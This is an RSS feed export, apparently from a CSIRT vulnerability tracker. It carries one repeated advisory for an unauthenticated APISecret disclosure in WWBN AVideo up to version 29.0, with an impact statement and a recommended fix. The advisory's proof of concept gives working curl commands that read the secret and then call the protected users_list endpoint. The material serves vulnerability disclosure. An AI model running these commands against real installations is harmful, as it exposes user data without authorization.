https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Thu, 15 Oct 2026 01:26:55 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-319054 EUVD-2026-319054 https://cve.radiocsirt.org/vuln/euvd-2026-319054 https://cve.radiocsirt.org/vuln/fkie_cve-2026-43885 <p>WWBN AVideo is an open source video platform. In versions up to and including 29.0, an unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in. Commit 1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b contains an updated fix.</p> <p>WWBN AVideo is an open source video platform. In versions up to and including 29.0, an unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in. Commit 1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b contains an updated fix.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2026-43885 https://cve.radiocsirt.org/vuln/ghsa-xr49-f4rh-qcjf <p><strong>Affected:</strong> Packagist: wwbn/avideo</p> <p>### Summary An unauthenticated user can read `APISecret` from `objects/plugins.json.php` and use it to call protected API endpoints (e.g. `users_list`) without logging in.</p> <p>### Details `objects/plugins.json.php` is public and still exposes plugin `object_data` containing `APISecret`. That secret is accepted by `plugin/API/get.json.php` as authentication.</p> <p>### PoC 1. Get plugin config (contains `APISecret`): ```bash curl &#39;http://&lt;host&gt;/objects/plugins.json.php&#39; ``` &lt;img width=&#34;879&#34; height=&#34;94&#34; alt=&#34;image&#34; src=&#34;https://github.com/user-attachments/assets/027073fc-dccd-4e1d-8450-ad12345e88eb&#34; /&gt;</p> <p>2. Copy APISecret from response, then call API directly: ```bash curl --get &#39;http://&lt;host&gt;/plugin/API/get.json.php&#39; \ --data-urlencode &#39;APIName=users_list&#39; \ --data-urlencode &#39;APISecret=&lt;APISecret&gt;&#39; \ --data-urlencode &#39;rowCount=3&#39; \ --data-urlencode &#39;current=1&#39; ``` &lt;img width=&#34;1719&#34; height=&#34;170&#34; alt=&#34;image&#34; src=&#34;https://github.com/user-attachments/assets/edd629be-e75c-40a2-a52f-2f2e6da99b79&#34; /&gt;</p> <p>### Impact Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.</p> <p>### Recommended fix Requiring admin auth for full plugin inventory/config endpoint.</p> <p><strong>Affected:</strong> Packagist: wwbn/avideo</p> <p>### Summary An unauthenticated user can read `APISecret` from `objects/plugins.json.php` and use it to call protected API endpoints (e.g. `users_list`) without logging in.</p> <p>### Details `objects/plugins.json.php` is public and still exposes plugin `object_data` containing `APISecret`. That secret is accepted by `plugin/API/get.json.php` as authentication.</p> <p>### PoC 1. Get plugin config (contains `APISecret`): ```bash curl &#39;http://&lt;host&gt;/objects/plugins.json.php&#39; ``` &lt;img width=&#34;879&#34; height=&#34;94&#34; alt=&#34;image&#34; src=&#34;https://github.com/user-attachments/assets/027073fc-dccd-4e1d-8450-ad12345e88eb&#34; /&gt;</p> <p>2. Copy APISecret from response, then call API directly: ```bash curl --get &#39;http://&lt;host&gt;/plugin/API/get.json.php&#39; \ --data-urlencode &#39;APIName=users_list&#39; \ --data-urlencode &#39;APISecret=&lt;APISecret&gt;&#39; \ --data-urlencode &#39;rowCount=3&#39; \ --data-urlencode &#39;current=1&#39; ``` &lt;img width=&#34;1719&#34; height=&#34;170&#34; alt=&#34;image&#34; src=&#34;https://github.com/user-attachments/assets/edd629be-e75c-40a2-a52f-2f2e6da99b79&#34; /&gt;</p> <p>### Impact Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.</p> <p>### Recommended fix Requiring admin auth for full plugin inventory/config endpoint.</p> https://cve.radiocsirt.org/vuln/ghsa-xr49-f4rh-qcjf